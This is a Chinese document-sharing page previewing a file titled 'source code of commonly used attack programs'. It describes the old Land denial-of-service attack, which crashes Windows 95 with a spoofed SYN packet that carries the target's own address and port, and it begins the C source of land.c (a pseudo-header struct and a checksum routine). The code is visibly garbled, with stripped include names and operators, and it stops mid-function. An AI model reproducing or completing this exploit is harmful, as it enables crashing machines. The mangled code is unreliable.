以前常用的攻击软件源代码.docVIP

  • 12
  • 0
  • 约 16页
  • 2016-02-24 发布于江苏
  • 举报
以前常用的攻击软件源代码.doc

以前常用的攻击软件源代码 常用攻击程序 Abstract 这里有一些是老的,现在看来并没有用,但他们都很有名。 1 Land 攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自 己的同一个端口发起连接(发SYN),Win95即会崩溃。 /* land.c by m3lt, FLC crashes a win95 box */ #include #include #include #include #include #include #include #include //用于TCP校验和的伪头 struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; //计算IP校验和 u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i(length1);i++) value+=data[i]; if((length1)==1) value+=(data[i]8); value=(value65535)+(valu

文档评论(0)

1亿VIP精品文档

相关文档